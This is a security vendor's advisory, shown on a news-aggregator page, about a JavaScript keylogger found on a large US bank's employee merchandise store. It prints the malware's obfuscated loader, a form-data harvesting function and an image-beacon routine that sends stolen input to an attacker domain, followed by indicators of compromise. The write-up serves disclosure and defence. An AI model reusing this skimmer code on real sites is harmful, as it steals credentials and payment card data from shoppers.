惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Vulnerabilities – Threatpost
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Engineering at Meta
Engineering at Meta
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Blog — PlanetScale
Blog — PlanetScale
aimingoo的专栏
aimingoo的专栏
雷峰网
雷峰网
Microsoft Azure Blog
Microsoft Azure Blog
V
Visual Studio Blog
F
Fortinet All Blogs
C
CERT Recently Published Vulnerability Notes
Spread Privacy
Spread Privacy
月光博客
月光博客
L
LINUX DO - 热门话题
C
Cisco Blogs
P
Proofpoint News Feed
C
Cyber Attacks, Cyber Crime and Cyber Security
爱范儿
爱范儿
B
Blog
P
Privacy International News Feed
Know Your Adversary
Know Your Adversary
The Cloudflare Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Cyberwarzone
Cyberwarzone
J
Java Code Geeks
罗磊的独立博客
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Cisco Talos Blog
Cisco Talos Blog
T
Tor Project blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园 - 司徒正美
酷 壳 – CoolShell
酷 壳 – CoolShell
Simon Willison's Weblog
Simon Willison's Weblog
量子位
H
Help Net Security
The Register - Security
The Register - Security
L
LangChain Blog
GbyAI
GbyAI
Vercel News
Vercel News
S
Schneier on Security
T
Threatpost
T
Threat Research - Cisco Blogs
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
阮一峰的网络日志
阮一峰的网络日志
C
Check Point Blog
MongoDB | Blog
MongoDB | Blog
Recorded Future
Recorded Future
G
GRAHAM CLULEY
MyScale Blog
MyScale Blog

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns CosmicSting attack & defense overview Persistent backdoors injected on Adobe Commerce via new CosmicSting attack CosmicSting attacks have started hitting major stores Polyfill supply chain attack hits 100K+ sites CosmicSting attack threatens 75% of Adobe Commerce stores Persistent Magento backdoor hidden in XML Sansec joins forces with Google's VirusTotal Sansec and Europol counter online skimming Magento wish list exploit bypasses WAF protection Is your store’s newsletter being used for phishing? Malware Persistence via Telegram and GitHub Postponed Exfiltration Evades Detection Sansec analysis: 12% of online stores leak private backups Vendors defeat Magento security patch (+ simple check) Fake Klaviyo accounts added to Magento Adobe Commerce merchants to be hit with TrojanOrders this season Extortion of Magento merchants Surge in Magento 2 template attacks Magento vendor Fishpig hacked, backdoors added Magento 2 critical vulnerability (CVE-2022-24086 & CVE-2022-24087) NaturalFreshMall: a Magento Mass Hack Magento and the Log4j vulnerability NginRAT parasite targets Nginx CronRAT malware hides behind February 31st New linux_avp malware hits eCommerce sites Case Study: How eCommerce Hackers Silently Steal Credit Card Data Google Apps Script used to steal data Fake payment page before checkout on Shopify and BigCommerce eCommerce trojan accidentally leaks victims Hackers exploit security flaw right before Black Friday Payment skimmer hides in social media buttons Cardbleed: 3% of Magento install base hacked North Korean hackers are skimming US and European shoppers Digital skimmer runs entirely on Google, defeats CSP Lockdown: Stores closed, online stores hacked Do these two things to keep your Magento 1 store running after June Magento 1 still PCI compliant after 1 July 2020? Sansec reveals longest Magecart skimming operation to date [Analysis] Maxcluster and Sansec partner to secure German stores Indonesian Magecart hackers arrested Payment skimmers have impersonated Sansec American Cancer Society hit by payment skimmer Magento security extentions vendor got hacked FBI recommends eCommerce malware protection Sansec at Europol training: 50,000+ stores hacked PCI-SSC/RHISAC quote Sansec: 20% stores reinfected Critical Magento 2 flaw exploited within 16 hours 57 payment gateways from Germany to Brazil targeted Sports brand Puma infected with advanced malware Credit cards of Atlanta Hawks fans stolen Bad extensions now main source of Magento hacks: a solution! Large sites hacked via Adminer database tool PHP tool 'Adminer' leaks passwords Competing digital skimmers sabotage each other Merchants struggle with MageCart reinfections Backdoor found in Webgility Unpublished security flaws (0days) massively exploited German political party store hacked before election MageCart: now with tripwire ABS-CBN next in series of high profile breaches Is your Google Analytics code malicious? MagentoCore group hacks 7,339 stores and counting Hackers breached Magento through helpdesk Cryptojacking found on 2496 online stores Why ordering HTTP headers is important Warning: fake Magento patch 9789 contains virus A Magento breach analysis: part 1 An OpenCart/Magento hacking dashboard Self-healing malware restores itself after deletion Visbot malware found on 6691 stores [analysis] Criminals have rewired 3,500 online stores
Keylogger targets 200,000+ employees at major US bank
Sansec Forensics Team · 2026-01-15 · via Sansec - experts in eCommerce security

Update Jan 15th: the malware appears to have been removed. It was live for about 18 hours

Sansec detected a keylogger on the employee store of one of America's largest banks. The site serves over 200,000 employees who use it to order company-branded items. The malware intercepts everything typed into the site's forms: login credentials, payment card numbers, personal information. As of this writing, the attack remains active and is not picked up by any other security vendor.

This breach is worrying because bank employees often reuse corporate credentials. Stolen passwords could provide attackers with footholds into internal banking systems. Employee stores frequently fall outside the scope of standard security audits, making them juicy targets.

We notified the bank immediately via email and Linkedin. However, this bank does not publish security contact information via the industry-standard security.txt file, which makes it unnecessarily hard to get in touch with the right people.

Why this matters

A trillion-dollar security budget is clearly no guarantee for security. What can enterprise security teams learn from this?

  • Credential harvesting: Bank employees have elevated access to sensitive systems. External sites that handle their credentials should be secured with the same rigor as internal ones.
  • Specialized threats need specialized tools: Generic security solutions miss ecommerce-specific attacks. Protecting employee stores, benefits portals, and internal tools needs purpose-built detection.
  • Third-party platform risk: Employee stores often run on common ecommerce platforms that attackers know well.

How the attack works

Malicious JavaScript keylogger injected into major US bank employee store source code

The malware uses a two-stage loader. First, a small script checks if the current page is a checkout page:

((x, y, z, h, o) => {
  if (x.location.toString().includes(String.fromCharCode.apply(null, y))) {
    var i = z.createElement(h);
    var j = z.getElementsByTagName(h)[0];
    i.src = String.fromCharCode.apply(null, o);
    j.parentNode.insertBefore(i, j);
  }
})(
  window,
  [99, 104, 101, 99, 107, 111, 117, 116],
  document,
  "script",
  [
    104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 45, 99, 115, 112, 46, 99,
    111, 109, 47, 103, 101, 116, 73, 110, 106, 101, 99, 116, 111, 114, 47,
  ]
);

Decoded, this script checks if the URL contains checkout and loads an external script from https://js-csp.com/getInjector/. The character code obfuscation is a simple attempt to evade static analysis.

The second-stage payload harvests all form data on the page:

function F(t) {
  var z = {};
  var D = {};
  var V = t.querySelectorAll("input, select, textarea");
  var h = 0;
  for (; h < V.length; h = h + 1) {
    var S = V[h];
    var P = S.name;
    if (!P) {
      P = S.id;
    }
    var v = S.value;
    if (v !== "") {
      if (P) {
        if (!D[P]) {
          D[P] = 0;
        }
        if (S.tagName != "SELECT") {
          if (D[P] == 0) {
            z[P] = v;
          } else {
            z[P + "#" + D[P]] = v;
          }
        } else {
          if (D[P] == 0) {
            z[P] = S.options[S.selectedIndex].text;
          } else {
            z[P + "#" + D[P]] = S.options[S.selectedIndex].text;
          }
        }
        D[P] = D[P] + 1;
      }
    }
  }
  return z;
}

The stolen data is exfiltrated via image beacon, a common technique that bypasses many security controls:

function __send(str) {
  try {
    var img = new Image();
    img.crossOrigin = "anonymous";
    img.src =
      "https://js-csp.com/fetchData/?data=" +
      window.btoa(str) +
      "&loc=" +
      document.location.origin;
  } catch (e) {}
}

Connection to previous attacks

The malware infrastructure and code patterns match an attack we found last year against the Green Bay Packers. That attack used js-stats.com/getInjector/, the same distinctive URL pattern.

This is the fifth getInjector campaign Sansec has uncovered in the past 12 months:

https://artrabol.com/getInjector/
https://js-stats.com/getInjector/
https://js-tag.com/getInjector/
https://jslibrary.net/getInjector/
https://js-csp.com/getInjector/

The js-csp.com domain was registered just before Christmas 2025. Sansec detected the attack within weeks of the domain going live.

Detection gap

At the time of writing, only Sansec has flagged js-csp.com as malicious. VirusTotal shows just 1 out of 97 security vendors detecting this threat:

VirusTotal scan showing only Sansec eComscan detecting js-csp.com as malicious while 96 other security vendors report clean

This shows that ecommerce attacks need specialized threat intelligence. Generic security tools miss these threats.

Recommendations

Organizations running employee stores or internal ecommerce platforms should:

  1. Block attacks: Use Sansec Shield to block exploitation attempts and malicious injections in real-time
  2. Scan for compromise: Run eComscan to detect skimmers, backdoors, and vulnerabilities on ecommerce platforms
  3. Monitor client-side scripts: Use Sansec Watch to detect unauthorized JavaScript and limit the impact of client-side attacks
  4. Include internal sites in security audits: Employee stores handle payment data and corporate credentials
  5. Publish security.txt: Make it easy for researchers to report vulnerabilities responsibly

Indicators of Compromise

Primary malware infrastructure:

js-csp.com
https://js-csp.com/getInjector/
https://js-csp.com/fetchData/

Exfiltration URL pattern:

https://js-csp.com/fetchData/?data=<base64>&loc=<origin>

Related infrastructure from the same threat actor (getInjector campaign):

artrabol.com
https://artrabol.com/getInjector/
https://artrabol.com/fetchData/

js-stats.com
https://js-stats.com/getInjector/
https://js-stats.com/fetchData/

js-tag.com
https://js-tag.com/getInjector/
https://js-tag.com/fetchData/

jslibrary.net
https://jslibrary.net/getInjector/
https://jslibrary.net/fetchData/

VirusTotal reference:

Timeline

DateEvent
December 23, 2025js-csp.com domain registered
January 14, 2026 15:24 UTCSansec detects keylogger on bank employee store
January 14, 2026 15:30 UTCSansec notifies the affected institution
January 15, 2026 09:00 UTCMalware confirmed still active
January 15, 2026This advisory published
January 15, 2026Malware appears to have been removed

We will update this article when the bank responds or the malware is removed.

Read more